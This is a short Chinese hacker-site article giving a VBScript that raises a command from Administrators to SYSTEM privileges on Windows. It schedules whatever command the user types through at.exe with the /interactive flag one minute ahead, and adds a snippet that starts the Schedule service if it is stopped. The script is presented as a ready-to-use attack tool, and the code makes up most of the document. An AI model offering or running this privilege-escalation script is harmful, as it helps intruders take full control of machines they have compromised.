提Administrators到System级别的vbs

lishiai

《新概念黑客基地》技术文章
程序代码：
On Error Resume Next
createobject("wscript.shell").run "at.exe " & hour(now) & ":"
& minute(now)+"1" & " /interactive " & inputbox("请输入需要执行的命令"),0
msgbox "启动完成...请等待"


说明一下:需要at服务始终启动的...如果没启动,在on error Resume Next后加:
程序代码：
set atsrv = GetObject("WinNT://./schedule")
if atsrv.Status=1 then atsrv.start